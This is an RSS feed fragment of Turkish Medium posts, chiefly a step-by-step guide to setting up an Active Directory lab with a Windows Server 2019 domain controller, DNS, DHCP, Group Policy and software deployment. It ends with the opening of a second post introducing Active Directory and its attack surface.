            <content:encoded><![CDATA[<h3>Lab ortamı aşağıdaki sanal cihazları içerecek:</h3><p><strong>VMWare Workstation Pro 17</strong> sanallaştırma aracını kullanarak;</p><ul><li><strong>1 x Windows Server 2019</strong> (Domain Controller)</li><li><strong>1 x Windows 10 </strong>Kullanıcı Makinesi</li><li><strong>1 x Kali Linux</strong> — Saldırgan Makine</li></ul><p>Her sanal makine yaklaşık 4 <strong>GB RAM</strong> kullanmalı, toplamda 12 <strong>GB RAM</strong> gereklidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*J86aU-bbaj2PW1FVS00X6A.png" /></figure><h3>Sanal Makinelerin Kurulumu</h3><p>Tüm sanal makinelerde Floppy sürücülerini kaldırın (sound card and usb controller) ve ağı bir private vlan oluşturup <strong>private vlan</strong> olarak ayarlayın. Ram’i sisteminize uygun ayarlamayı unutmayın.</p><h4>Domain Controller (İşletim Sistemi Kurulumu)</h4><ol><li>Yeni bir sanal makine oluşturun</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*g7Vg3MYeF1C7TsQ3C-r2OQ.png" /></figure><ol><li><strong>ISO</strong> dosyasını kurulum diski olarak seçin.</li><li><strong>Windows Server 2019</strong> sürümünü yüklemek için listeden seçin.</li><li>Sanal makineyi oluşturduktan sonra başlatın.</li><li><strong>VM Settings</strong> bölümünden floppy disk sürücülerini (usb controller ve sound card)kaldırın</li><li>Network connection modunu, LAN Segments seçeneğinde bir private vitrual local area network (vlan) oluşturarak, her cihazı bu oluşturduğunuz private vlan’a alın.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*GN95Iz4rPv-U78nUQQPOcQ.png" /></figure><p>6. Sanal makineyi başlatın ve kurulum moduna girmek için herhangi bir tuşa basın.</p><p>7. Windows Server 2019 Standard Eval (Desktop Experience) sürümünü seçin. Bu masaüstü deneyimi sağlayacak, diğer seçenekler terminal ekranı üstünden işlem yapmayı destekliyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*t3mPvEpE_R-5hoRRqv_YGw.png" /></figure><p>8. Custom install seçeneğini kullanarak ayrılmamış alanı seçin ve yüklemeyi başlatın.</p><p>9. Ekrandaki talimatları izleyerek kurulumu tamamlayın.</p><h3>Domain Controller Yapılandırması</h3><p>Arayüz üzerinden ve Powershell komutları ile olmak üzere 2 farklı yol ile yapılandırma yapılabilir. Powershell komutları ile yapılandırma kısmı bu başlığın sonundadır.</p><h4><strong>Arayüz üzerinden Domain Controller yapılandırması:</strong></h4><ol><li>Sanal makine ayarlarında <strong>“View Your PC Name”</strong> bölümüne giderek bilgisayarı <strong>DomainController</strong> gibi bir isimle yeniden adlandırın ve sanal makineyi yeniden başlatın.</li><li>Bilgisayar için bir parola belirleyin.</li><li><strong>VMWare Player</strong> içinde <strong>Manage</strong> sekmesine giderek <strong>VMWare Tools</strong> yükleyin.</li><li>Sanal makineyi başlatın ve masaüstünde sağ tık yaparak, <strong>personalize &gt; themes &gt; desktop icon settings</strong> kısmından masaüstü uygulamalarını ekleyin.</li><li>IP adresi ataması için masaüstündeki Network icon’una sağ tıklayıp, <strong>properties &gt; Ethernet0 &gt; Properties &gt; Internet Protocol Version 4</strong> ‘e çift tıklayarak <strong>sabit bir ip adresi </strong>verin (örneğin 192.168.10.10)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ymra8kdun8-hDg8wSTlk3g.png" /></figure><p>6.<strong> Server Manager</strong>’ı açın ve <strong>Dashboard &gt; Manage &gt; Add Roles and Features</strong> adımlarını takip edin.</p><p>7.<strong> Role-based or feature-based installation</strong> seçeneğini seçin ve <strong>Active Directory Domain Services</strong> rolünü yükleyin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pAX6CM8vCB3VmUvlmUEjmQ.png" /></figure><p>9.<strong> “Add a new forest”</strong> seçeneğini işaretleyin ve kök domain adını girin. (örneğin “DOMAIN.LOCAL”)</p><p>10.<strong> DSRM (Directory Services Restore Mode)</strong> için bir parola belirleyin ve varsayılan ayarları kabul ederek kurulumu tamamlayın. Bu parolayı unutmamaya özen gösterin herhangi bir yerde bulamayacaksınız bir sorun çıktığında restore edebilmeniz için önemli.</p><p>11. Kurulum tamamlandıktan sonra <strong>Server Manager</strong> içindeki bayrak simgesine tıklayın ve <strong>Promote this server to a domain controller</strong> seçeneğini seçin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KKPgyJPb5kQJAxAAi1g6LA.png" /></figure><h3>Active Directory DNS Konfigürasyonları</h3><p><strong>1.</strong> Server Manager’ı açın, <strong>Manage &gt; Add Roles and Features </strong>seçeneğine tıklayın.</p><p><strong>2</strong>. <strong>Role-based or feature-based installation</strong> seçeneğini işaretleyip Next butonuna basın.</p><p><strong>3.</strong> <strong>Select a server from the server pool</strong> seçeneğini işaretleyin ve sunucunuzu seçin.</p><p><strong>4. </strong>DNS Server rolünü seçin ve gerekli bileşenleri yüklemek için <strong>Add Features</strong> butonuna basın. Ve kurulumu tamamlamak için <strong>Install </strong>butonuna tıklayın.</p><p><strong>5. Reverse Lookup Zone Ekleme:</strong></p><ul><li><strong>Server Manager</strong> &gt; <strong>Tools</strong> &gt; <strong>DNS</strong> seçeneğine tıklayın.</li><li>Sunucunuzu genişletin ve <strong>Reverse Lookup Zone </strong>üzerine sağ tıklayıp <strong>New Zone</strong> seçeneğini seçin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*xUtEvvg0PvASCAu6IOSnkA.png" /></figure><ul><li><strong>Primary Zone</strong> seçeneğini seçin ve <strong>Next</strong> butonuna tıklayın. IPv4 Reverse Lookup Zone seçeneğini seçin.</li><li>Ağa uygun<strong> Network ID </strong>(örn: 192.168.1) girin ve Next butonuna basın.</li><li><strong>Allow only secure dynamic updates </strong>seçeneğini seçin ve işlemi tamamlayın.</li></ul><h3>AD Ortamında DHCP Servisi Kurulumu</h3><p><strong>Not</strong>: Bu bölümde DHCP servisi, Active Directory ortamında çalışan Windows Server üzerine kurulmaktadır. DHCP, AD’nin doğal bir parçası değildir; ancak bu kurulum sayesinde istemcilerin IP adreslerini otomatik olarak alması sağlanır ve lab ortamı gerçekçi bir kurumsal ağ yapısına benzetilir.</p><p>1. Server Manager’ı açın, <strong>Manage &gt; Add Roles and Features</strong> seçeneğine tıklayın. DNS server’ı yüklediğimiz gibi Feature’ları ekleyerek <strong>DHCP</strong> kurulumunu tamamlayın</p><p>2. Kurulumdan sonra yapılandırma için <strong>Server Manager</strong> &gt; <strong>Tools</strong> &gt; <strong>DHCP</strong> seçeneğine tıklayın.</p><p>3. Sunucunuzu seçin ve sağ tıklayarak <strong>Authorize </strong>seçeneğini tıklayın. Yetkilendirme tamamlandıktan sonra Refresh yaparak doğrulama sağlayın.</p><p>4. Yeni Bir <strong>DHCP Scope</strong> (IP Havuzu) Oluşturun:</p><ul><li>DHCP sunucusu üzerinde<strong> IPv4’</strong>e sağ tıklayın ve <strong>New Scope</strong> seçeneğini seçin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*9O5uMHhxMnn4lI7xvQRW-Q.png" /></figure><ul><li>Scope Name olarak bir isim belirleyin (örn: OfficeNetwork).</li><li>Start IP Address ve End IP Address belirleyin (örn: 192.168.1.50–192.168.1.100).</li><li>Subnet Mask’i belirleyin (örn: 255.255.255.0).</li><li>Exclusions and Delay kısmında belirli IP adreslerini havuz dışı bırakabilirsiniz.</li><li>Lease Duration (IP kira süresi) belirleyin (örn: 8 saat veya 1 gün).</li><li>Router (Default Gateway) kısmına varsayılan ağ geçidini girin (örn: 192.168.1.1).</li><li>DNS Servers kısmına Active Directory DNS sunucusunun IP adresini girin (örn: 192.168.1.10).</li><li>Yapılandırmayı tamamlamak için Finish butonuna basın.</li><li>Oluşturduğunuz scope’a sağ tıklayın ve Activate seçeneğini seçin ve aktifleştirin.</li></ul><h3>Zaman Senkronizasyonu (NTP) Yapılandırması</h3><p>Active Directory ortamında zaman senkronizasyonu, Kerberos gibi zaman hassasiyetine sahip servislerin düzgün çalışabilmesi için gereklidir.</p><ol><li><strong>NTP sunucularını tanımla</strong></li></ol><pre>w32tm /config /manualpeerlist:&quot;0.tr.pool.ntp.org 1.tr.pool.ntp.org&quot; /syncfromflags:manual /reliable:yes /update</pre><p><strong>2. Zaman servislerini yeniden başlat</strong></p><pre>net stop w32time<br>net start w32time</pre><p><strong>3. Zaman eşitlemesini tetikle</strong></p><pre>w32tm /resync</pre><p><strong>4. Yapılandırmayı ve senkronizasyon durumunu kontrol et</strong></p><pre>w32tm /query /status<br>w32tm /query /configuration</pre><p><strong>Örnek Çıktı</strong></p><p>Stratum: 2 (secondary reference — syncd by (S)NTP)</p><p>Last Successful Sync Time: 4/10/2025 4:35:21 PM</p><p>ReferenceId: xx.xxx.xxx.xxx</p><p><strong>Not: tr.pool.ntp.org adresleri Türkiye lokasyonludur. Kendi ülkenize göre özelleştirebilirsiniz.</strong></p><h3><strong>Windows 10 </strong>Kullanıcı Makinesi Kurulumu</h3><p>1. Yeni bir sanal makine oluşturun. <strong>ISO</strong> dosyasını kurulum diski olarak seçin. <strong>Windows 10 </strong>sürümünü yüklemek için seçin.</p><p>2. Sanal makineyi oluşturduktan sonra başlatın.</p><p>5. <strong>VM Settings</strong> bölümünden floppy disk sürücülerini (sound card ve usb)kaldırın ve ağı <strong>private vlan </strong>olarak ayarlayın.</p><p>6. Sanal makineyi başlatın ve kurulum moduna girmek için herhangi bir tuşa basın.</p><p>7. <strong>Custom install</strong> seçeneğini kullanarak ayrılmamış alanı seçin ve yüklemeyi başlatın.</p><p>8. <strong>“Domain join instead”</strong> seçeneğini kullanarak bir hesap adı (örn. <strong>Client1</strong>) ve parola belirleyin.</p><p>9. <strong>“Do more across devices…”</strong> sorusuna <strong>No</strong> yanıtını verin ve <strong>Get help from digital assistant</strong> seçeneğini reddedin.</p><p>10. Gizlilik ayarlarını kendinize göre seçerek devam edin kurulumu tamamlayın.</p><p><strong>11. Yapılandırma için: </strong>VMWare Proiçinde <strong>Manage</strong> sekmesine giderek <strong>VMWare Tools</strong> yükleyin.</p><p><strong>12. View Your PC Name</strong> bölümüne giderek bilgisayar adını değiştirin (örn. <strong>Client1, User1</strong>) ve sanal makineyi yeniden başlatın.</p><h4>Windows 10 cihazı Active Directory Yapısına Almak</h4><h4>Kontroller</h4><p>1. Öncelikle masaüstünde This Pc ikonuna sağ tıklayıp properties kısmına girip en altta bulunan Advanced system settings butonundan bilgisayarın ismini <strong>Active Directory yapısına uygun adlandırın</strong>. (Örn. PC01)</p><p>2. Ardından PC01 cihazın, DC ile aynı LAN Segmentte bulunduğunu (private vlan) doğrulamak ve <strong>DHCP server’ın çalıştığını teyit etmek </strong>için, cmd’ye <strong>ipconfig/all</strong> yazıp dhcp server’ından bir ip aldığınızı teyit edin.</p><p>3. <strong>DC ile iletişim </strong>kurabildiğinizi teyit etmek adına, domain controller çalışırken, ping atmayı deneyin. Cmd &gt; <strong>ping &lt;IP&gt; </strong>örn.<strong> ping 192.168.10.10</strong></p><p>4. <strong>DNS server</strong>ın çalıştığını da kontrol etmek adına yine cmd’ye <strong>ping DOMAIN.LOCAL</strong> yazıp çözümleyebildiğini kontrol edin.</p><h4>AD’ye eklemek</h4><p>Öncelikle bilgisayarı domaine dahil ediniz. This Pc ikonuna sağ tıklayıp properties kısmına girip en altta bulunan Advanced system settings butonundan computer name &gt; change &gt; <strong>Member of Domain</strong> seçiniz.</p><p>Domain adınızı yazıp OK butonuna tıklayınız. Ardından çıkan pencerede domaine eklemek için DC sunucusunun yetkili kullanıcısının bilgilerini giriniz. <strong>Administrator </strong>en yetkili kullanıcı ve şifresi ise DC sunucusuna girerken kullandığınız şifre olacaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WDGF6VDXswxsGvsehzUnA.png" /></figure><p>Welcome mesajını gördüğünüzde PC01 domaine başarılı şekilde eklenmiş olacaktır.</p><p>Ayrıca domaine dahil olan kullanıcıyı DC üzerinde, server manager &gt; <br>tools &gt; active directory users and computers kısmında aşağıdaki fotoğrafta da görüldüğü şekilde görüntüleyebilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*LxBaZ9pQFrhZ4TmOvO98DQ.png" /></figure><h4>Powershell komutları ile Domain Controller yapılandırması:</h4><p><strong>1. Bilgisayar ismini değiştirme</strong></p><pre>Rename-Computer -NewName &quot;DomainController&quot; -Restart</pre><p><strong>2. Sabit IP adresi verme</strong></p><pre>New-NetIPAddress -InterfaceAlias &quot;Ethernet0&quot; -IPAddress 192.168.10.10 -PrefixLength 24 -DefaultGateway 192.168.10.1</pre><pre>Set-DnsClientServerAddress -InterfaceAlias &quot;Ethernet0&quot; -ServerAddresses 192.168.10.10</pre><p><strong>3. Active Directory Domain Services rolü kurma</strong></p><pre>Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools</pre><p><strong>4. Yeni bir forest ile domain kurulumu</strong></p><pre>Install-ADDSForest -DomainName &quot;domain.local&quot; -SafeModeAdministratorPassword (ConvertTo-SecureString -AsPlainText &quot;Parolanız&quot; -Force) -InstallDNS -Force</pre><p><strong>5. DNS Server rolü kurma</strong></p><pre>Install-WindowsFeature -Name DNS -IncludeManagementTools</pre><p><strong>6. Reverse Lookup Zone oluşturma</strong></p><pre>Add-DnsServerPrimaryZone -NetworkId &quot;192.168.1.0/24&quot; -ZoneFile &quot;1.168.192.in-addr.arpa.dns&quot; -DynamicUpdate Secure</pre><p><strong>7. DHCP Server kurulumu</strong></p><pre>Install-WindowsFeature -Name DHCP -IncludeManagementTools</pre><p><strong>8. DHCP yetkilendirme</strong></p><pre>Add-DhcpServerInDC -DnsName &quot;domaincontroller.domain.local&quot; -IPAddress 192.168.10.10</pre><p><strong>9. Yeni DHCP Scope oluşturma</strong></p><pre>Add-DhcpServerv4Scope -Name &quot;OfficeNetwork&quot; -StartRange 192.168.1.50 -EndRange 192.168.1.100 -SubnetMask 255.255.255.0<br>Set-DhcpServerv4OptionValue -ScopeId 192.168.1.0 -Router 192.168.1.1 -DnsServer 192.168.1.10 -DnsDomain domain.local</pre><p><strong>10. Bilgisayarı domaine alma (client tarafında çalıştırılır)</strong></p><pre>Add-Computer -DomainName &quot;domain.local&quot; -Credential (Get-Credential) -Restart</pre><p><strong>11. Yeni kullanıcı oluşturma</strong></p><pre>New-ADUser -Name &quot;Ali Veli&quot; -GivenName &quot;Ali&quot; -Surname &quot;Veli&quot; -SamAccountName &quot;aveli&quot; -AccountPassword (ConvertTo-SecureString &quot;Parola123!&quot; -AsPlainText -Force) -Enabled $true -Path &quot;OU=Bilgi_Islem,DC=domain,DC=local&quot;</pre><p><strong>12. Yeni grup oluşturma</strong></p><pre>New-ADGroup -Name &quot;YazilimEkibi&quot; -GroupScope Global -GroupCategory Security -Path &quot;OU=Bilgi_Islem,DC=domain,DC=local&quot;</pre><h3>Active Directory Kullanıcı ve Grup Yönetimi</h3><p>Active Directory kullanıcı ve grup yönetimi, merkezi kimlik doğrulama ve yetkilendirme süreçlerini yönetmek için kritik bir bileşendir. Kullanıcı hesapları ve gruplar, organizasyon içindeki erişim ve izin yapılarını belirler.</p><h4>Kullanıcı Hesaplarının Oluşturulması</h4><p><strong>1. </strong>Active Directory Users and Computers (ADUC) Konsolunu Açın <strong>Server Manager &gt; Tools &gt; Active Directory Users and Computers </strong>yolunu izleyin.</p><p><strong>2. Yeni Kullanıcı (User) Oluşturma</strong></p><ul><li>Domain içine aşağıdaki adımları takip ederek <strong>OU’yu (Organizational Unit) </strong>oluşturun (örn. Bilgi_Islem)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WjN8tQSx_XFCF9vuha7H_g.png" /></figure><ul><li>Ardından oluşturduğumuz OU’e Sağ tıklayıp <strong>New &gt; User</strong> seçeneğini seçin ve kullanıcı bilgilerini girin.</li><li><strong>Next</strong> butonuna basarak parola belirleyin.</li><li><strong>Finish</strong> butonuna basarak kullanıcıyı oluşturun.</li></ul><h4>Grup Hesaplarının Yönetimi</h4><p>Gruplar, kullanıcıların belirli erişim haklarını merkezi olarak yönetmek için kullanılır.</p><ol><li><strong>Yeni Grup (Group) Oluşturma</strong></li></ol><ul><li>ADUC içinde ilgili OU üzerinde sağ tıklayın ve <strong>New &gt; Group</strong> seçeneğini seçin.</li><li>Grup adını belirleyin (örn. Blue_Team).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*Ea0di7DkQnLiesFqdvWjYg.png" /></figure><ul><li><strong>! Grup türünü seçin:</strong></li><li><strong>Security Groups:</strong> Kullanıcı ve kaynak izinleri yönetmek için kullanılır.</li><li><strong>Distribution Groups:</strong> E-posta dağıtım listeleri için kullanılır.</li><li><strong>! Scope (Kapsam) belirleyin:</strong></li><li><strong>Domain Local:</strong> Yalnızca kendi domain içindeki izinleri yönetir.</li><li><strong>Global:</strong> Farklı domainlerde kullanılabilir.</li><li><strong>Universal:</strong> Forest genelinde izin yönetimi sağlar.</li><li><strong>OK</strong> butonuna basarak grubu oluşturun.</li></ul><ol><li><strong>Kullanıcıları Gruba Ekleme</strong></li></ol><ul><li>Oluşturduğunuz grup üzerinde sağ tıklayıp <strong>Properties &gt; Members &gt; Add</strong> seçeneğini seçin.</li><li>Eklemek istediğiniz kullanıcıyı yazıp <strong>Check Names</strong> butonuna basarak doğrulayın.</li><li><strong>OK</strong> butonuna basarak kullanıcıyı ekleyin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*QyDTJrZGmt2u6OxypdHXOw.png" /></figure><h4>Yetkilendirme ve Erişim Kontrolleri</h4><ul><li>Kullanıcı ve grupları belirli dosya ve klasörlere yetkilendirmek için <strong>File Explorer &gt; Properties &gt; Security &gt; Edit</strong> bölümünden ilgili grup/kullanıcıyı seçerek <strong>Read, Write, Modify, Full Control</strong> gibi izinleri tanımlayın.</li><li>Group Policy Objects (GPO) kullanarak kullanıcıların oturum açma saatlerini, parola politikalarını ve diğer kısıtlamaları belirleyebilirsiniz.</li></ul><h3>Group Policies (Grup Politikaları)</h3><p>Group Policy (GPO), Active Directory içindeki kullanıcı ve bilgisayar hesaplarının merkezi yönetimini sağlar.</p><h4>Group Policy Yönetim Konsolunun Açılması</h4><ol><li><strong>Server Manager &gt; Tools &gt; Group Policy Management</strong> yolunu izleyerek Group Policy Management Console (GPMC) açın.</li><li><strong>Yeni Bir GPO Oluşturma</strong></li></ol><ul><li><strong>Domain içinde “Group Policy Objects” kısmına sağ tıklayın ve “New” seçeneğini seçin.</strong></li><li>GPO’ya bir isim verin (örn. “Password Policy”).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*kfmD5UyovT7azfDW2Pbd-g.png" /></figure><ul><li>GPO’yu oluşturduktan sonra üzerine sağ tıklayıp <strong>Edit</strong> seçeneğiyle yapılandırma ekranına girin.</li></ul><h4>Temel Group Policy Yapılandırmaları</h4><p><strong>1. Parola Politikalarının Belirlenmesi</strong></p><ul><li><strong>Computer Configuration &gt; Policies &gt; Windows Settings &gt; Security Settings &gt; Account Policies &gt; Password Policy</strong> yolunu izleyin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*OJqjPdYnzNNj1ONQ7Ooppg.jpeg" /></figure><ul><li><strong>Minimum password length:</strong> Minimum parola uzunluğunu belirleyin (Örn. 8 karakter).</li><li><strong>Password must meet complexity requirements:</strong> Harf, rakam ve özel karakter içermesi gerektiğini zorunlu kılar.</li><li><strong>Maximum password age:</strong> Parolanın kaç günde bir değişmesi gerektiğini belirler.</li></ul><p><strong>2. Kullanıcı Masaüstü Kısıtlamaları (Kilit Ekranı, USB Engelleme vb.)</strong></p><ul><li><strong>User Configuration &gt; Policies &gt; Administrative Templates &gt; Control Panel &gt; Personalization</strong> yolunu izleyerek <strong>Screen saver timeout</strong> değerini belirleyin (Örn. 300 saniye).</li><li><strong>User Configuration &gt; Policies &gt; Administrative Templates &gt; System &gt; Removable Storage Access</strong> içinde <strong>All Removable Storage Classes: Deny All Access</strong> seçeneğini <strong>Enabled</strong> yaparak USB aygıtlarını devre dışı bırakabilirsiniz.</li></ul><p><strong>3. Otomatik Güncellemeleri Zorunlu Hale Getirme</strong></p><ul><li><strong>Computer Configuration &gt; Policies &gt; Administrative Templates &gt; Windows Components &gt; Windows Update</strong> yolunu izleyerek <strong>Configure Automatic Updates</strong> ayarını <strong>Enabled</strong> yapın.</li></ul><p><strong>4. Group Policy’yi Domain Kullanıcılarına Uygulama</strong></p><ul><li>GPO’yu belirli bir OU’ya uygulamak için <strong>Group Policy Management Console</strong> içinden ilgili OU’ya sağ tıklayıp <strong>Link an Existing GPO</strong> seçeneğini kullanarak oluşturduğunuz politikayı seçin.</li><li>Değişikliklerin hemen uygulanması için istemci bilgisayarlarda <strong>gpupdate /force</strong> komutunu çalıştırabilirsiniz.</li></ul><h3>How to Deploy Software (Yazılım Dağıtımı)</h3><p>AD ortamında yazılım dağıtımı, Group Policy (GPO) aracılığıyla merkezi bir şekilde yapılabilir.</p><h4><strong>1. MSI Paketi Hazırlama</strong></h4><p>Group Policy Object (GPO) kullanarak yazılım dağıtımı yapmak için yazılımın <strong>MSI (Microsoft Installer) formatında</strong> olması gerekmektedir.</p><p><strong>Yazılımın MSI Formatında Olup Olmadığını Kontrol Etme</strong></p><ul><li>Eğer yüklemek istediğiniz yazılımın web sitesinde <strong>MSI sürümü</strong> mevcutsa, doğrudan onu indirin.</li><li>Yazılımın yalnızca .exe formatında olup olmadığını anlamak için:</li><li>Sağ tıklayın ve <strong>Özellikler (Properties) &gt; Ayrıntılar (Details)</strong> sekmesine bakın. Eğer <strong>Windows Installer Package</strong> olarak işaretlenmişse, zaten MSI formatındadır.</li></ul><p><strong>.EXE Formatını MSI’ye Dönüştürme</strong></p><p>Eğer yalnızca .exe formatında bir yükleyiciniz varsa, <strong>MSI dönüştürücü araçlar</strong> kullanarak MSI’ye çevirebilirsiniz:</p><p><strong>Yöntem 1: Advanced Installer ile Dönüştürme</strong></p><p><strong>Advanced Installer’ı</strong> <a href="https://www.advancedinstaller.com/">resmi web sitesinden</a> indirin ve yükleyin. Programı açın ve <strong>“Repackager”</strong> özelliğini kullanarak .exe dosyanızı yükleyin. <strong>“Create MSI Package”</strong> seçeneğini seçerek yükleme sihirbazını tamamlayın. İşlem tamamlandığında <strong>MSI formatında bir dosya</strong> oluşturulacaktır.</p><p><strong>Yöntem 2: ORCA ile MSI Düzenleme</strong></p><p>Eğer yazılımınız MSI formatında ancak özelleştirme gerektiriyorsa, Microsoft’un <strong>ORCA</strong> aracını kullanabilirsiniz: <strong>Windows SDK</strong>’yı yükleyerek ORCA’yı sisteminize ekleyin. ORCA’yı açın ve MSI dosyanızı yükleyin. <strong>Property Table</strong> içinde, kurulum esnasında ayarlanması gereken değişkenleri güncelleyin. <strong>Kaydet (Save As…)</strong> seçeneğini kullanarak düzenlenmiş MSI dosyanızı kaydedin.</p><h4>2. Yazılımı Paylaşılan Bir Klasöre Yerleştirme</h4><p>GPO üzerinden yazılım dağıtabilmek için MSI dosyasını ağ üzerinden erişilebilen bir klasöre yerleştirmeniz gerekmektedir.</p><p><strong>Paylaşılan Klasör Oluşturma</strong></p><ul><li>Windows Server’a giriş yapın ve<strong> C:\SoftwareDeployment</strong> adında bir klasör oluşturun.</li><li>Klasöre sağ tıklayın ve <strong>Properties &gt; Sharing &gt; Advanced Sharing</strong> yolunu izleyin.</li><li>“<strong>Share this folder</strong>” seçeneğini işaretleyin ve <strong>Permissions </strong>(İzinler) düğmesine tıklayın.</li></ul><p><strong>Paylaşım İzinlerini Ayarlama</strong></p><ul><li><strong>Read </strong>(Okuma) izni: Domain Users ve Domain Computers grupları için tanımlanmalıdır.</li><li>“<strong>Add</strong>” butonuna tıklayın ve “<strong>Domain Users” </strong>ile <strong>“Domain Computers</strong>” gruplarını ekleyin.</li><li><strong>Permissions </strong>(İzinler) sekmesinde bu gruplar için <strong>Read </strong>(Okuma) yetkisini verin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zDB2iWRvQit_2IHyN9qBrQ.png" /></figure><ul><li><strong>NTFS izinleri:</strong></li><li>Administrator’lara Full Control (Tam Yetki) verin.</li><li>Domain Users ve Domain Computers için <strong>Read &amp; Execute</strong> (Okuma ve Çalıştırma) yetkisini verin.</li><li><strong>UNC Yolunu Not Alın:</strong></li><li>Paylaşılan klasörün <strong>UNC </strong>yolunu (örneğin, \\DC01\SoftwareDeployment) kaydedin. Bu yol, GPO ile yazılım dağıtırken kullanılacaktır.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*g2J1gh3kxdKWqRyYuz6BKQ.png" /></figure><p><strong>MSI Dosyasını Klasöre Kopyalama</strong></p><ul><li>Dönüştürdüğünüz veya edindiğiniz MSI dosyasını bu klasör içerisine koyun. Örneğin: C:\SoftwareDeployment\AdobeReader.msi</li></ul><h4>3. Group Policy ile Yazılım Dağıtımı</h4><p><strong>1. Group Policy Management Console’u (GPMC) Açın</strong></p><ul><li>Server Manager &gt; Tools &gt; <strong>Group Policy Management</strong></li></ul><p><strong>2. Yeni Bir GPO Oluşturun ve Bağlayın</strong></p><ul><li>Domain veya belirli bir OU üzerinde sağ tıklayın ve <strong>Create a GPO in this domain, and Link it here…</strong> seçeneğini seçin.</li><li>GPO’ya bir isim verin (örn. “Software Deployment Policy”).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*rHwmJBp6tsERvAmVtNWNTg.png" /></figure><p><strong>3. GPO İçinde Yazılımı Dağıtma</strong></p><ul><li>GPO’yu sağ tıklayıp <strong>Edit</strong> seçeneğini seçin.</li><li><strong>Computer Configuration &gt; Policies &gt; Software Settings &gt; Software Installation</strong> yolunu izleyin.</li><li><strong>New &gt; Package</strong> seçeneğine tıklayın ve paylaşılan klasördeki .msi dosyasının UNC yolunu girin (örn. \\DC01\SoftwareDeployment\App.msi).</li><li><strong>Assigned</strong> seçeneğini seçerek devam edin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*lWNQ0b_dOjHOW9LM4YQiKQ.png" /></figure><p><strong>4. Group Policy’yi Yenileme ve Dağıtımı Test Etme</strong></p><ul><li>İstemci bilgisayarda <strong>gpupdate /force</strong> komutunu çalıştırın.</li><li>Bilgisayarı yeniden başlatarak yazılımın otomatik yüklenip yüklenmediğini kontrol edin.</li></ul><p>Sonraki yazım <strong>Active Directory lab ortamı nasıl zafiyetli hale getirilir</strong> olacak. Okuduğunuz için teşekkür ederim.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffaa03a52a1c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Nedir? Bileşenleri, Mimarisi ve Saldırı Senaryoları]]></title>
            <link>https://medium.com/@eysadilbercakil/bu-yaz%C4%B1da-active-directorynin-temel-bile%C5%9Fenlerinden-ba%C5%9Flayarak-kimlik-ve-yetki-y%C3%B6netimini-0571389b2600?source=rss-5474899d8570------2</link>
            <guid isPermaLink="false">https://medium.com/p/0571389b2600</guid>
            <category><![CDATA[active-directory-attack]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <dc:creator><![CDATA[eysa]]></dc:creator>
            <pubDate>Wed, 12 Mar 2025 21:19:32 GMT</pubDate>
            <atom:updated>2025-03-15T17:45:21.370Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Bu yazıda, Active Directory’nin temel bileşenlerinden başlayarak kimlik ve yetki yönetimini, saldırı yüzeylerini, Red Team ve Blue Team perspektiflerinden güvenlik analizlerini ele alacağım. Son olarak, gerçek hayatta karşılaşılan bazı saldırı senaryoları ile teoriyi pratiğe döküp eğitici içeriği sonlandıracağım.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*4EhZgv8MaUgq7SnVQBVSxg.png" /></figure><pre>ALT BASLIKLAR;<br>1. Active Directory Nedir?<br>2. AD&#39;nin Temel Bileşenleri<br>3. Active Directory&#39;nin Saldırı Yüzeyi<br>4. Red Team Bakış Açısı<br>5. Blue Team Bakış Açısı<br>6. Gerçek Hayattan Saldırı Senaryoları Çok Detaylı</pre><h3>1. Active Directory Nedir?</h3><p>Active Directory (AD), Microsoft’un Windows Server işletim sistemleri üzerinde çalışan güçlü bir dizin hizmetidir ve ağ yönetimi için merkezi bir sistem olarak işlev görür. AD’nin temel görevi, ağ üzerindeki kullanıcıların izinlerini yönetmek ve ağ kaynaklarına erişimi kontrol etmektir. Bu, veritabanı tabanlı bir yapı ile yapılır ve içinde kullanıcılar, gruplar, cihazlar ve uygulamalar gibi nesneler yer alır. Her bir nesne, adı ve özelliklerine göre düzenlenir ve kategorilere ayrılır.</p><p>İlk kez Windows Server 2000 ile hayata geçen Active Directory, zaman içinde sürekli bir evrim geçirmiştir. Windows Server 2003, 2008, 2012, 2016, 2019 ve 2022 sürümleriyle her geçen yıl daha da geliştirilmiş ve günümüzün güçlü ağ yönetim araçlarından biri haline gelmiştir. Ancak, Active Directory sadece bu sürümler üzerinde çalışabilir ve bu özelliklere sahip işletim sistemlerinde kullanılabilir.</p><p>Active Directory’nin çalıştığı sunucu, <strong>Domain Controller (DC)</strong> olarak bilinir. DC, AD’nin kalbidir ve tüm verilerin tutulduğu merkezi noktadır. Bu sunucular, ağın güvenliğini sağlamak açısından kritik öneme sahiptir. Çünkü Domain Controller’lar, siber saldırılar için potansiyel hedeflerdir. Bu nedenle, DC sunucularının 